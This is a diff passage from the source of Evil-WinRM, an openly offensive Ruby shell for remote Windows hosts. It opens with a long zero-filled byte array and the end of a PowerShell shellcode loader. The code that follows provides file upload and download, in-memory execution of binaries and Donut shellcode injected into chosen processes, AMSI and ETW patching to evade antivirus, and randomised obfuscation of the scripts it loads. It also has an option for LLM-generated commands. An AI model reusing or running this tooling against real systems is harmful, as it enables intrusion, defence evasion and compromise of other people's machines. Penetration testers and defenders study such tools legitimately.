0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
[System.Reflection.Assembly]::Load($bytes) | Out-Null
$base64 = $donutfile
[array]$array = $process_id,$Base64
[ShellcodeTest.Program]::Main($array)
}
}')
+    menu = get_menu
+    command = ''
+
+    begin
+      time = Time.now.to_i
+      print_message('Establishing connection to remote endpoint', TYPE_INFO)
+      $conn.shell(:powershell) do |shell|
+        begin
+          completion = proc do |str|
+            case
+            when Readline.line_buffer =~ /help.*/i
+              puts($LIST.join("\t").to_s)
+            when Readline.line_buffer =~ /Invoke-Binary.*/i
+              result = @executables.grep(/^#{Regexp.escape(str)}/i) || []
+              if result.empty?
+                paths = self.paths(str)
+                result.concat(paths.grep(/^#{Regexp.escape(str)}/i))
+              end
+              result.uniq
+            when Readline.line_buffer =~ /donutfile.*/i
+              paths = self.paths(str)
+              paths.grep(/^#{Regexp.escape(str)}/i)
+            when Readline.line_buffer =~ /Donut-Loader -process_id.*/i
+              $DONUTPARAM2.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
+            when Readline.line_buffer =~ /Donut-Loader.*/i
+              $DONUTPARAM1.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
+            when Readline.line_buffer =~ /^upload.*/i
+              test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
+              if test_s.count(' ') < 2
+                self.paths(str) || []
+              else
+                complete_path(str, shell) || []
+              end
+            when Readline.line_buffer =~ /^download.*/i
+              test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
+              if test_s.count(' ') < 2
+                complete_path(str, shell) || []
+              else
+                paths = self.paths(str)
+              end
+            when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ %r{^"?(\./|\.\./|[a-z,A-Z]:/|~/|/)}))
+              result = $COMMANDS.grep(/^#{Regexp.escape(str)}/i) || []
+              result.concat(@functions.grep(/^#{Regexp.escape(str)}/i))
+              result.uniq
+            else
+              result = []
+              result.concat(complete_path(str, shell) || [])
+              result
+            end
+          end
+
+          Readline.completion_proc = completion
+          Readline.completion_append_character = ''
+          Readline.completion_case_fold = true
+          Readline.completer_quote_characters = '"'
+
+          until command == 'exit' do
+            pwd = shell.run('(get-location).path').output.strip
+            if $colors_enabled
+              command = Readline.readline( "#{colorize('*Evil-WinRM*', 'red')}#{colorize(' PS ', 'yellow')}#{pwd}> ", true)
+            else
+              command = Readline.readline("*Evil-WinRM* PS #{pwd}> ", true)
+            end
+            $logger&.info("*Evil-WinRM* PS #{pwd} > #{command}")
+
+            if command.start_with?('upload')
+              if docker_detection
+                print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
+              end
+              begin
+                source_s = ""
+                dest_s = ""
+                paths = get_paths_from_command(command, pwd)
+
+                if paths.length == 2
+                  dest_s = paths.pop
+                  source_s = paths.pop
+                elsif paths.length == 1
+                  source_s = paths.pop
+                end
+
+                unless source_s.match(Dir.pwd) then
+                  if source_s.match(/^\.[\\\/]/)
+                    source_s = source_s.gsub(/^\.[\\\/]/, "")
+                  end
+                  source_s = Dir.pwd  + '/' + source_s
+                end
+
+                source_expr_i = source_s.index(/(\*\.|\*\*|\.\*|\*)/) || -1
+
+                if dest_s.empty?
+                  if source_expr_i == -1
+                    dest_s = "#{pwd}\\#{extract_filename(source_s)}"
+                  else
+                    index_last_folder = source_s.rindex(/[\/]/, source_expr_i )
+                    dest_s = pwd
+                  end
+                end
+
+                unless dest_s.match(/^[a-zA-Z]:[\\\/]/) then
+                  dest_s = "#{pwd}\\#{dest_s.gsub(/^([\\\/]|\.\/)/, '')}"
+                end
+
+                if extract_filename(source_s).empty?
+                  print_message("A filename must be specified!", TYPE_ERROR, true, $logger)
+                else
+                  source_s = source_s.gsub("\\", "/") unless Gem.win_platform?
+                  dest_s = dest_s.gsub("/", "\\")
+                  sources = []
+
+                  if source_expr_i == -1
+                    sources.push(source_s)
+                  else
+                    Dir[source_s].each do |filename|
+                      sources.push(filename)
+                    end
+                    if sources.length > 0
+                      shell.run("mkdir #{dest_s} -ErrorAction SilentlyContinue")
+                    else
+                      raise "There are no files to upload at #{source_s}"
+                    end
+                  end
+
+                  print_message("Uploading #{source_s} to #{dest_s}", TYPE_INFO, true, $logger)
+                  upl_result = file_manager.upload(sources, dest_s) do |bytes_copied, total_bytes, x, y|
+                    progress_bar(bytes_copied, total_bytes)
+                    if bytes_copied == total_bytes
+                      print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger)
+                    end
+                  end
+                  print_message('Upload successful!', TYPE_INFO, true, $logger)
+                end
+              rescue StandardError => e
+                $logger.info("#{e}: #{e.backtrace}") unless $logger.nil?
+                print_message('Upload failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
+              ensure
+                command = ''
+              end
+            elsif command.start_with?('download')
+              if docker_detection
+                print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
+              end
+              begin
+                dest = ""
+                source = ""
+                paths = get_paths_from_command(command, pwd)
+
+                if paths.length == 2
+                  dest = paths.pop
+                  source = paths.pop
+                else
+                  source = paths.pop
+                  dest = ""
+                end
+
+                if source.match(/^\.[\\\/]/)
+                  source = source.gsub(/^\./, "")
+                end
+                unless source.match(/^[a-zA-Z]:[\\\/]/) then
+                  source = pwd  + '\\' + source.gsub(/^[\\\/]/, '')
+                end
+
+                source_expr_i = source.index(/(\*\.|\*\*|\.\*|\*)/) || -1
+                if dest.empty?
+                  if source_expr_i == -1
+                    dest = "#{extract_filename(source)}"
+                  else
+                    index_last_folder = source.rindex(/[\\\/]/, source_expr_i)
+                    dest = "#{extract_filename(source[0..index_last_folder])}"
+                  end
+                end
+
+                if dest.match?(/^(\.[\\\/]|\.)$/)
+                  dest = "#{extract_filename(source)}"
+                end
+
+                if extract_filename(source).empty?
+                  print_message("A filename or folder must be specified!", TYPE_ERROR, true, $logger)
+                else
+                  size = filesize(shell, source)
+                  source = source.gsub("/", "\\") if Gem.win_platform?
+                  dest = dest.gsub("\\", "/") unless Gem.win_platform?
+                  print_message("Downloading #{source} to #{dest}", TYPE_INFO, true, $logger)
+                  downloaded = file_manager.download(source, dest, size: size) do |index, size|
+                    progress_bar(index, size)
+                  end
+                  if downloaded != false
+                    print_message('Download successful!', TYPE_INFO, true, $logger)
+                  else
+                    print_message('Download failed. Check filenames or paths', TYPE_ERROR, true, $logger)
+                  end
+                end
+              rescue StandardError => e
+                print_message('Download failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
+              ensure
+                command = ''
+              end
+            elsif command.start_with?('Invoke-Binary')
+              begin
+                invoke_Binary = command.tokenize
+                command = ''
+                if !invoke_Binary[1].to_s.empty?
+                  load_executable = invoke_Binary[1]
+                  load_executable = File.binread(load_executable)
+                  load_executable = Base64.strict_encode64(load_executable)
+                  if !invoke_Binary[2].to_s.empty?
+                    output = shell.run("Invoke-Binary #{load_executable} ,#{invoke_Binary[2]}")
+                    puts(output.output)
+                  elsif invoke_Binary[2].to_s.empty?
+                    output = shell.run("Invoke-Binary #{load_executable}")
+                    puts(output.output)
+                  end
+                elsif (output = shell.run('Invoke-Binary'))
+                  puts(output.output)
+                end
+              rescue StandardError => e
+                print_message('Check filenames', TYPE_ERROR, true, $logger)
+              end
+            elsif command.start_with?('Donut-Loader')
+              begin
+                donut_Loader = command.tokenize
+                command = ''
+                unless donut_Loader[4].to_s.empty? then
+                    pid = donut_Loader[2]
+                    load_executable = donut_Loader[4]
+                    load_executable = File.binread(load_executable)
+                    load_executable = Base64.strict_encode64(load_executable)
+                    output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
+                else
+                    output = shell.run("Donut-Loader")
+                end
+                print(output.output)
+                $logger&.info(output.output)
+              rescue StandardError
+                print_message('Check filenames', TYPE_ERROR, true, $logger)
+              end
+            elsif command.start_with?('services')
+              command = ''
+              output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath  ; foreach ($servicio in $servicios  ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ;  $Servicios_object }')
+              print(output.output.chomp)
+              $logger&.info(output.output.chomp)
+            elsif command.start_with?(*@functions)
+              silent_warnings do
+                load_script = $scripts_path + command
+                command = ''
+                load_script = load_script.gsub(' ', '')
+                load_script = File.binread(load_script)
+                load_script = Base64.strict_encode64(load_script)
+                script_split = load_script.scan(/.{1,5000}/)
+                script_split.each do |item|
+                  output = shell.run("$a += '#{item}'")
+                end
+
+                output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
+                output = shell.run('$a = $null')
+              end
+            elsif command.start_with?('menu')
+              command = ''
+              silent_warnings do
+                if @Bypass_4MSI_loaded
+                  unless @psLoaded
+                      print_message("Bypass-4MSI is loaded. Trying to load utilities", TYPE_INFO, true, $logger)
+                      shell.run(donuts)
+                      shell.run(invokeBin)
+                      shell.run(dllloader)
+                      @psLoaded = true
+                  end
+                end
+                outputs = load_powershell(shell, menu, 2)
+                puts(get_banner)
+                puts
+                output = shell.run($MENU_CMD)
+                autocomplete = output.output || ""
+                autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
+                autocomplete = autocomplete || ""
+                assemblyautocomplete = shell.run($SHOW_GLOBAL_METHODS_CMD).output.chomp
+                assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
+                unless assemblyautocomplete.to_s.empty?
+                  $LISTASSEMNOW = assemblyautocomplete.split("\n")
+                  $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
+                end
+                $LIST2 = autocomplete.split("\n")
+                $LIST = $LIST + $LIST2
+                $COMMANDS = $COMMANDS + $LIST2
+                $COMMANDS = $COMMANDS.uniq
+                cmdlets = ""
+                if !$LIST2.nil? && !$LIST2.empty?
+                  cmdlets = '[+] ' + $LIST2.join("\n").gsub(/\n/,"\n[+] ") + "\n"
+                end
+                message_output = cmdlets  + '[+] ' + $CMDS.join("\n").gsub(/\n/,"\n[+] ") + "\n\n"
+                puts(message_output)
+                $logger&.info(message_output)
+              end
+            elsif command == 'Bypass-4MSI'
+              command = ''
+              timeToWait = (time + 20) - Time.now.to_i
+              if timeToWait.positive?
+                print_message('AV could be still watching for suspicious activity. Waiting for patching...', TYPE_WARNING, true, $logger)
+                sleep(timeToWait)
+              end
+              unless @Bypass_4MSI_loaded
+                load_Bypass_4MSI(shell)
+                load_ETW_patch(shell)
+                @Bypass_4MSI_loaded = true
+              end
+            elsif command.start_with?('ai:')
+              if has_llm_params
+                prompt = command.split(':')[1]
+                command_generated = process_message_llm(prompt)
+                unless command_generated.nil? || command_generated.empty?
+                  while true
+                    print_message('Do you want to execute or [k]eep the generated command/s? [y/N/k] ', TYPE_WARNING, true, $logger)
+                    answer_command = Readline.readline().chomp
+                    case answer_command.downcase
+                    when 'y', 'yes'
+                      command = command_generated
+                      Readline::HISTORY.push(command) if $llm_history
+                      break
+                    when 'k', 'keep'
+                      Readline::HISTORY.push(command_generated)
+                      command = ""
+                      print_message('LLM Command kept in history: Access to it using ↑ arrow.', TYPE_INFO, true, $logger)
+                      break
+                    when 'n', 'no', ''
+                      print_message('Skipping commands generated by LLM', TYPE_INFO, true, $logger)
+                      command = ""
+                      break
+                    end
+                  end
+                else
+                  command = ""
+                end
+              else
+                command = ""
+                print_message('No LLM options provided. Please refer to the --help option to find the required parameters for using LLM', TYPE_WARNING, true, $logger)
+              end
+            end
+
+            output = shell.run(command) do |stdout, stderr|
+              stdout&.each_line do |line|
+                $stdout.puts(line.rstrip)
+              end
+              $stderr.print(stderr)
+            end
+
+            next unless !$logger.nil? && !command.empty?
+            output_logger = ''
+            output.output.each_line do |line|
+              output_logger += "#{line.rstrip!}\n"
+            end
+            $logger.info(output_logger)
+          end
+        rescue Errno::EACCES => e
+          puts
+          print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
+          retry
+        rescue Interrupt
+          puts
+          print_message('Press "y" to exit, press any other key to continue', TYPE_WARNING, true, $logger)
+          if $stdin.getch.downcase == 'y'
+            custom_exit(130)
+          else
+            retry
+          end
+        end
+
+        custom_exit(0)
+      end
+    rescue SystemExit
+    rescue SocketError
+      print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    rescue Exception => e
+      print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    end
+  end
+
+  def get_banner
+    Base64.decode64('DQoNCiAgICwuICAgKCAgIC4gICAgICApICAgICAgICAgICAgICAgIiAgICAgICAgICAgICwuICAgKCAgIC4gICAgICApICAgICAgIC4gICANCiAgKCIgICggICkgICknICAgICAsJyAgICAgICAgICAgICAoYCAgICAgJ2AgICAgKCIgICAgICkgICknICAgICAsJyAgIC4gICwpICANCi47ICkgICcgKCggKCIgKSAgICA7KCwgICAgICAuICAgICA7KSAgIiAgKSIgIC47ICkgICcgKCggKCIgKSAgICk7KCwgICApKCggICANCl8iLixfLC5fXykuLCkgKC4uXyggLl8pLCAgICAgKSAgLCAoLl8uLiggJy4uXyIuXywgLiAnLl8pXyguLixfKF8iLikgXyggXycpICANClxfICAgX19fX18vX18gIF98X198ICB8ICAgICgoICAoICAvICBcICAgIC8gIFxfX3wgX19fX1xfX19fX18gICBcICAvICAgICBcICANCiB8ICAgIF9fKV9cICBcLyAvICB8ICB8ICAgIDtfKV8nKSBcICAgXC9cLyAgIC8gIHwvICAgIFx8ICAgICAgIF8vIC8gIFwgLyAgXCANCiB8ICAgICAgICBcXCAgIC98ICB8ICB8X18gL19fX19fLyAgXCAgICAgICAgL3wgIHwgICB8ICBcICAgIHwgICBcLyAgICBZICAgIFwNCi9fX19fX19fICAvIFxfLyB8X198X19fXy8gICAgICAgICAgIFxfXy9cICAvIHxfX3xfX198ICAvX19fX3xfICAvXF9fX198X18gIC8NCiAgICAgICAgXC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgXC8gICAgICAgXC8gICAgICAgICBcLw0KDQogICAgICAgQnk6IEN5YmVyVmFjYSwgT3NjYXJBa2FFbHZpcywgSmFyaWxhb3MsIEFyYWxlNjEgQEhhY2twbGF5ZXJzDQo=')
+  end
+
+  def random_string(len = 3)
+    Array.new(len) { [*'0'..'9', *'A'..'Z', *'a'..'z'].sample }.join
+  end
+
+  def random_case(word)
+    word.chars.map { |c| (rand 2).zero? ? c : c.upcase }.join
+  end
+
+  def get_char_expresion(the_char)
+    rand_val = rand(10_000) + rand(100)
+    val = the_char.ord + rand_val
+    char_val = random_case('char')
+
+    "[#{char_val}](#{val}-#{rand_val})"
+  end
+
+  def get_byte_expresion(the_char)
+    rand_val = rand(30..120)
+    val = the_char.ord + rand_val
+    char_val = random_case('char')
+    byte_val = random_case('byte')
+
+    "[#{char_val}]([#{byte_val}] 0x#{val.to_s(16)}-0x#{rand_val.to_s(16)})"
+  end
+
+  def get_char_raw(the_char)
+    "\"#{the_char}\""
+  end
+
+  def generate_random_type_string(to_randomize)
+    result = ''
+    to_randomize.chars.each { |c| result += "+#{(rand 2) == 0 ? (rand 2) == 0 ? self.get_char_expresion(c): self.get_byte_expresion(c) : self.get_char_expresion(c)}"}
+    result[1..-1]
+  end
+
+  def replace_placeholder(template, placeholder, str_value)
+    result = template.gsub(placeholder, str_value)
+    result
+  end
+
+  def replace_placeholder_string(template, placeholder, str_value)
+    result = replace_placeholder(template, placeholder, generate_random_type_string(str_value))
+    result
+  end
+
+  def replace_placeholder_var(template, var_placeholder)
+    var_name = random_string((5..21).to_a.sample)
+    result = replace_placeholder(template, var_placeholder, var_name)
+    result
+  end
+
+  def replace_func_var_name(template, function_name, replace_with)
+    if replace_with.length == 0
+      replace_with = random_string((15..32).to_a.sample)
+    end
+    a_mark = ">><"
+    func_placeholder = "#{a_mark}#{function_name}#{a_mark}"
+    result = replace_placeholder(template, func_placeholder, replace_with)
+    result
+  end
+
+  def replace_string_scan_part(template, begin_i, end_i, mark)
+    to_replace = template[begin_i..end_i]
+    to_place = to_replace.gsub(mark, "")
+    first_t = false
+    result = ""
+    to_place.split("|").each do |word|
+      if ! first_t
+        first_t = true
+        result += generate_random_type_string(word)
+      else
+        result += "+\"|\"+" + generate_random_type_string(word)
+      end
+
+    end
+    template.gsub!(to_replace, result)
+  end
+
+  def replace_with_string_scan(template)
+    result = template
+    a_mark = "<><"
+    begin_i = template.index(a_mark)
+    last_i = 0
+    if !begin_i.nil? && begin_i >= 0
+      next_i = template.index(a_mark, begin_i + 1)
+      while !next_i.nil? && !begin_i.nil? && next_i > begin_i && next_i + 2 <= template.length
+        next_i += 2
+        last_i = next_i
+        replace_string_scan_part(result, begin_i, next_i, a_mark)
+        begin_i =  template.index(a_mark, next_i)
+        if !begin_i.nil? && begin_i >= 0
+          next_i = template.index(a_mark, begin_i + 1)
+        else
+          next_i = -1
+        end
+      end
+    end
+    result
+  end
+
+  def rand_casing_keywords(template)
+    $WORDS_RANDOM_CASE.each { |w| template.gsub!(w.to_s, random_case(w)) }
+    template
+  end
+
+  def get_menu
